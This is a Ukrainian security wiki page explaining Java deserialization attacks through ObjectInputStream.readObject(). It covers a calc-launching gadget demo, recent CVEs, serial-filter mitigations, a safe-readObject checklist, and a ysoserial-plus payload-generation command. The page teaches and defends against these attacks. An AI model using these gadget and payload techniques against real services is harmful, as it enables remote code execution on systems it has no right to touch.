# Basic Java Deserialization with ObjectInputStream readObject {{#include ../../banners/hacktricks-training.md}} У цьому POST буде пояснено приклад використання `java.io.Serializable` **і чому перевизначення `readObject()` може бути надзвичайно небезпечним, якщо вхідний потік контролюється атакуючим**. ## Serializable Java `Serializable` інтерфейс (`java.io.Serializable`) є маркерним інтерфейсом, який ваші класи повинні реалізувати, якщо вони мають бути **серіалізовані** та **десеріалізовані**. Серіалізація об'єктів Java (запис) виконується за допомогою [`ObjectOutputStream`](http://tutorials.jenkov.com/java-io/objectoutputstream.html), а десеріалізація (читання) виконується за допомогою [`ObjectInputStream`](http://tutorials.jenkov.com/java-io/objectinputstream.html). ### Нагадування: Які методи імпліцитно викликаються під час десеріалізації? 1. `readObject()` – специфічна для класу логіка читання (якщо реалізована та *приватна*). 2. `readResolve()` – може замінити десеріалізований об'єкт на інший. 3. `validateObject()` – через зворотні виклики `ObjectInputValidation`. 4. `readExternal()` – для класів, що реалізують `Externalizable`. 5. Конструктори **не** виконуються – тому ланцюги гаджетів покладаються виключно на попередні зворотні виклики. Будь-який метод у цьому ланцюзі, який в кінцевому підсумку викликає дані, контрольовані атакуючим (виконання команд, запити JNDI, рефлексія тощо), перетворює рутину десеріалізації на гаджет RCE. Давайте розглянемо приклад з **класом Person**, який є **серіалізованим**. Цей клас **перезаписує функцію readObject**, тому коли **будь-який об'єкт** цього **класу** буде **десеріалізований**, ця **функція** буде **виконана**.\ У прикладі функція **readObject** класу Person викликає функцію `eat()` його домашньої тварини, а функція `eat()` собаки (з якоїсь причини) викликає **calc.exe**. **Ми побачимо, як серіалізувати та десеріалізувати об'єкт Person, щоб виконати цей калькулятор:** **Наступний приклад взято з ** ```java import java.io.Serializable; import java.io.*; public class TestDeserialization { interface Animal { public void eat(); } //Class must implements Serializable to be serializable public static class Cat implements Animal,Serializable { @Override public void eat() { System.out.println("cat eat fish"); } } //Class must implements Serializable to be serializable public static class Dog implements Animal,Serializable { @Override public void eat() { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } System.out.println("dog eat bone"); } } //Class must implements Serializable to be serializable public static class Person implements Serializable { private Animal pet; public Person(Animal pet){ this.pet = pet; } //readObject implementation, will call the readObject from ObjectInputStream and then call pet.eat() private void readObject(java.io.ObjectInputStream stream) throws IOException, ClassNotFoundException { pet = (Animal) stream.readObject(); pet.eat(); } } public static void GeneratePayload(Object instance, String file) throws Exception { //Serialize the constructed payload and write it to the file File f = new File(file); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); out.writeObject(instance); out.flush(); out.close(); } public static void payloadTest(String file) throws Exception { //Read the written payload and deserialize it ObjectInputStream in = new ObjectInputStream(new FileInputStream(file)); Object obj = in.readObject(); System.out.println(obj); in.close(); } public static void main(String[] args) throws Exception { // Example to call Person with a Dog Animal animal = new Dog(); Person person = new Person(animal); GeneratePayload(person,"test.ser"); payloadTest("test.ser"); // Example to call Person with a Cat //Animal animal = new Cat(); //Person person = new Person(animal); //GeneratePayload(person,"test.ser"); //payloadTest("test.ser"); } } ``` ### Висновок (класичний сценарій) Як ви можете бачити в цьому дуже базовому прикладі, “вразливість” тут виникає через те, що метод **readObject()** **викликає інший код, контрольований атакуючим**. У реальних ланцюгах гаджетів тисячі класів, що містяться в зовнішніх бібліотеках (Commons-Collections, Spring, Groovy, Rome, SnakeYAML тощо), можуть бути зловживані – атакуючому потрібен лише *один* досяжний гаджет для отримання виконання коду. --- ## 2023-2025: Що нового в атаках десеріалізації Java? * 2023 – CVE-2023-34040: десеріалізація заголовків записів помилок Spring-Kafka, коли увімкнені прапорці `checkDeserExWhen*`, дозволила довільне створення гаджетів з тем, опублікованих атакуючими. Виправлено в 3.0.10 / 2.9.11. ¹ * 2023 – CVE-2023-36480: порушено припущення про довірений сервер Java-клієнта Aerospike – зловмисні відповіді сервера містили серіалізовані корисні навантаження, які були десеріалізовані клієнтом → RCE. ² * 2023 – CVE-2023-25581: парсинг атрибутів профілю користувача `pac4j-core` приймав Base64 блохи з префіксом `{#sb64}` і десеріалізував їх, незважаючи на `RestrictedObjectInputStream`. Оновлення ≥ 4.0.0. * 2023 – CVE-2023-4528: JSCAPE MFT Manager Service (порт 10880) приймав XML-кодовані Java-об'єкти, що призводило до RCE як root/SYSTEM. * 2024 – до ysoserial-plus(mod) додано кілька нових ланцюгів гаджетів, включаючи класи Hibernate5, TomcatEmbed і SnakeYAML 2.x, які обходять деякі старі фільтри. ## Сучасні заходи, які ви повинні впровадити 1. **JEP 290 / Фільтрація серіалізації (Java 9+)** *Додайте список дозволених або заборонених класів:* ```bash # Приймати лише ваші DTO та java.base, відхиляти все інше -Djdk.serialFilter="com.example.dto.*;java.base/*;!*" ``` Приклад програмного коду: ```java var filter = ObjectInputFilter.Config.createFilter("com.example.dto.*;java.base/*;!*" ); ObjectInputFilter.Config.setSerialFilter(filter); ``` 2. **JEP 415 (Java 17+) Фабрики фільтрів, специфічних для контексту** – використовуйте `BinaryOperator` для застосування різних фільтрів для кожного контексту виконання (наприклад, для кожного виклику RMI, для кожного споживача черги повідомлень). 3. **Не піддавайте сирий `ObjectInputStream` через мережу** – надавайте перевагу JSON/бінарним кодуванням без семантики виконання коду (Jackson після відключення `DefaultTyping`, Protobuf, Avro тощо). 4. **Обмеження захисту в глибині** – встановіть максимальну довжину масиву, глибину, посилання: ```bash -Djdk.serialFilter="maxbytes=16384;maxdepth=5;maxrefs=1000" ``` 5. **Безперервне сканування гаджетів** – запускайте інструменти, такі як `gadget-inspector` або `serialpwn-cli` у вашій CI, щоб зупинити збірку, якщо небезпечний гаджет стає досяжним. ## Оновлений чек-лист інструментів (2024) * `ysoserial-plus.jar` – спільний форк з > 130 ланцюгами гаджетів: ```bash java -jar ysoserial-plus.jar CommonsCollections6 'calc' | base64 -w0 ``` * `marshalsec` – все ще еталон для генерації гаджетів JNDI (LDAP/RMI). * `gadget-probe` – швидке виявлення гаджетів чорного ящика проти мережевих сервісів. * `SerialSniffer` – агент JVMTI, який друкує кожен клас, прочитаний `ObjectInputStream` (корисно для створення фільтрів). * **Порада з виявлення** – увімкніть `-Djdk.serialDebug=true` (JDK 22+), щоб записувати рішення фільтра та відхилені класи. ## Швидкий чек-лист для безпечних реалізацій `readObject()` 1. Зробіть метод `private` і додайте анотацію `@Serial` (допомагає статичному аналізу). 2. Ніколи не викликайте методи, надані користувачем, або не виконуйте I/O у методі – лише читайте поля. 3. Якщо потрібна валідація, виконуйте її **після** десеріалізації, поза `readObject()`. 4. Віддавайте перевагу реалізації `Externalizable` і виконуйте явні читання полів замість стандартної серіалізації. 5. Зареєструйте посилений `ObjectInputFilter` навіть для внутрішніх сервісів (дизайн, стійкий до компрометації). ## Посилання 1. Консультація з безпеки Spring – CVE-2023-34040 Десеріалізація Java в Spring-Kafka (серпень 2023) 2. GitHub Security Lab – GHSL-2023-044: Небезпечна десеріалізація в Java-клієнті Aerospike (липень 2023) {{#include ../../banners/hacktricks-training.md}}